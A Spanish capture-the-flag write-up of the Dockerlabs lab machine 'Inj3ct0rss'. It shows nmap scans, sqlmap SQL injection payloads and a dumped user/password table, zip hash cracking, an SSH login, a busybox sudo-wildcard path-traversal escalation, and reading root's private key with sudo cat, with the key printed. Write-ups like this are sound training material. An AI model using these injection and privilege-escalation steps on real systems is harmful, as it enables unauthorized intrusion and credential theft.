Inj3ct0rss es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 01:48 CEST Initiating ARP Ping Scan at 01:48 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 01:48, 0.04s elapsed (1 total hosts) Initiating SYN Stealth Scan at 01:48 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 01:48, 0.72s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000060s latency). Scanned at 2024-08-17 01:48:09 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
┌──(kali㉿kali)-[~] └─$ nmap -p22,80 -sCV 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 01:48 CEST Nmap scan report for 172.17.0.2 Host is up (0.00033s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 fd:f8:90:30:73:b2:51:20:2d:cb:7a:77:67:69:dc:e5 (ECDSA) |_ 256 ad:54:3f:1a:45:7c:b5:97:fb:5b:a8:fb:63:1d:1d:0b (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Inj3ct0rs CTF - P\xC3\xA1gina Principal Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds |
Entramos por el puerto 80 y vemos abajo del todo para poder registrarnos o iniciar sesión.
Nos registramos pero una vez hacemos login no vemos nada, solo enlaces muertos, así que ya que habla de desafíos de SQL Injection, usaremos sqlmap en el login, para ello, primero interceptamos la petición y nos la guardamos en un fichero.
Le pasamos el archivo a sqlmap a traves del parametro -r , con el parametro -dump para que nos pregunte nada.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
┌──(kali㉿kali)-[~] └─$ sqlmap -r ~/sqli --dump -batch --level 5 -risk 3 ___ __H__ ___ ___[)]_____ ___ ___ {1.8.5#stable} |_ -| . ["] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:57:25 /2024-08-17/ [01:57:25] [INFO] parsing HTTP request from '/home/kali/sqli' [01:57:25] [INFO] testing connection to the target URL got a 302 redirect to 'http://172.17.0.2/content_pages_hidden/fail.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y xxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxx POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 564 HTTP(s) requests: --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=1' OR NOT 7870=7870-- hLKA&password=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1' AND (SELECT 3483 FROM (SELECT(SLEEP(5)))arzO)-- yPjE&password=1 Database: injectors_db Table: users [9 entries] +----+-----------------------------+----------+ | id | password | username | +----+-----------------------------+----------+ | 1 | loveyou | root | | 2 | chicago123 | jane | | 3 | password | admin | | 4 | no_mirar_en_este_directorio | ralf | | 5 | <blank> | <blank> | | 6 | <blank> | <blank> | | 7 | <blank> | <blank> | | 8 | admin | admin | | 9 | admin1 | admin1 | +----+-----------------------------+----------+ |
Tras ver el «no_mirar_en_este_directorio», pues vamos al recurso vía web y nos descargamos el fichero zip
Intentamos extraer su contenido pero nos indica que esta protegido por una contraseña, así que extraemos el hash y usamos john para crackearlo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali)-[~] └─$ unzip secret.zip Archive: secret.zip [secret.zip] confidencial.txt password: ┌──(kali㉿kali)-[~] └─$ zip2john secret.zip > hash ver 2.0 efh 5455 efh 7875 secret.zip/confidencial.txt PKZIP Encr: TS_chk, cmplen=132, decmplen=177, crc=D2FD3E9E ts=7A38 cs=7a38 type=8 ┌──(kali㉿kali)-[~] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status computer (secret.zip/confidencial.txt) 1g 0:00:00:00 DONE (2024-08-17 00:36) 50.00g/s 204800p/s 204800c/s 204800C/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Leemos el fichero y nos muestra lo que parece un usuario y su posible contraseña
|
1 2 3 4 5 6 7 8 |
┌──(kali㉿kali)-[~] └─$ cat confidencial.txt You have to change your password ralf, I have told you many times, log into your account and I will change your password. Your new credentials are: ralf:supersecurepassword |
Probamos a acceder por ssh con las credenciales y entramos en la maquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~/Downloads/1njec] └─$ ssh ralf@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:iC/yTL1NsOyIB5A+xmflwZna1ylIRz5xlC3pntryn/w. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. ralf@172.17.0.2's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. ralf@4de22ba788ff:~$ |
Comprobamos si tenemos privilegios de sudo -l con algún usuario y nos encontramos con busybox como el usuario capa
|
1 2 3 4 5 6 |
ralf@4de22ba788ff:~$ sudo -l Matching Defaults entries for ralf on 4de22ba788ff: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User ralf may run the following commands on 4de22ba788ff: (capa : capa) NOPASSWD: /usr/local/bin/busybox /nothing/* |
Dado que existe un wildcard, nos convertiremos en capa de la siguiente manera
|
1 2 3 4 5 6 7 8 9 10 |
ralf@4de22ba788ff:/nothing$ sudo -u capa /usr/local/bin/busybox /nothing/../../../sh BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3) built-in shell (ash) Enter 'help' for a list of built-in commands. /nothing $ whoami capa /nothing $ bash capa@4de22ba788ff:/nothing$ |
Volvemos a comprobar si tenemos algún privilegio de sudo -l
|
1 2 3 4 5 6 |
capa@4de22ba788ff:/nothing$ sudo -l Matching Defaults entries for capa on 4de22ba788ff: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User capa may run the following commands on 4de22ba788ff: (ALL : ALL) NOPASSWD: /bin/cat |
Usamos cat para leer la id_rsa de root en caso de existir
|
1 2 3 4 5 6 7 8 9 10 11 |
capa@4de22ba788ff:/nothing$ sudo /bin/cat /root/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn NhAAAAAwEAAQAAAgEAx7wRGZs86cLk6QtiELD9oXmIZMQDclgYbkr+j8aR5iqnVb0HtRPU 4ql/Va6It+VmzCARj+6p4NlAM1nXeoGt2Ad9H0CUHCefwN5u50lMS1x+6XXh3p4Ww5dnJF v6O+yVvAfe+CXtos1ckqsdu6qJ2tDRCBye4/q55DV0Mk5ACxKdWw5pzqHpM9H3utQ3/5rM KSfKzDmwdmpJgElWPOwvD1OY0WuL9U0i/5jay/QnUBeUCK1Khyx+sJx86yRyqD63CgklLj 4kxsWQlD1EvKHwKf3PgJqve/tUpO4w2KFbm3ThRew4a0AN12gskVXaR1XQnoL1HM70wH6H RI2RLx4IzhxkkdY0K4U7QYYjYy+ZBXaKmD7Yhu0gYxT2bzA6QwkYAfsMBS+a3FvYhaUn3o E1zouE9CMyUAAAARcm9vdEBiODE3MzRhMmMwNzcBAg== -----END OPENSSH PRIVATE KEY----- |
Copiamos el contenido de la clave privada, le ponemos los permisos 600 con chmod y nos conectamos como root hacia localhost
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
capa@4de22ba788ff:~$ chmod 600 id_rsa capa@4de22ba788ff:~$ ssh -i id_rsa root@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:iC/yTL1NsOyIB5A+xmflwZna1ylIRz5xlC3pntryn/w. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts. Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Sat Aug 17 00:48:18 2024 from 172.17.0.1 root@4de22ba788ff:~# |
